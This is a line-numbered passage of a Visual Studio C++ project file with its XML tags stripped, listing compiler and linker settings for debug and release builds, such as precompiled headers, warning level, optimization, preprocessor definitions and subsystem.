| 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | false 82 | 83 | 84 | false 85 | 86 | 87 | 88 | NotUsing 89 | Level3 90 | Disabled 91 | true 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | 97 | 98 | Windows 99 | true 100 | false 101 | false 102 | 103 | 104 | 105 | 106 | Use 107 | Level3 108 | Disabled 109 | true 110 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 111 | true 112 | pch.h 113 | 114 | 115 | Console 116 | true 117 | 118 | 119 | 120 | 121 | NotUsing 122 | Level3 123 | Disabled 124 | true 125 | false 126 | true 127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 128 | true 129 | 130 | 131 | MultiThreaded 132 | false 133 | OnlyExplicitInline 134 | false 135 | 136 | 137 | Console 138 | true 139 | true 140 | true 141 | false 142 | 143 | 144 | 145 | 146 | Use 147 | Level3 148 | MaxSpeed 149 | true 150 | true 151 | true 152 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 153 | true 154 | pch.h 155 | 156 | 157 | Console 158 | true 159 | true 160 | true 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | --------------------------------------------------------------------------------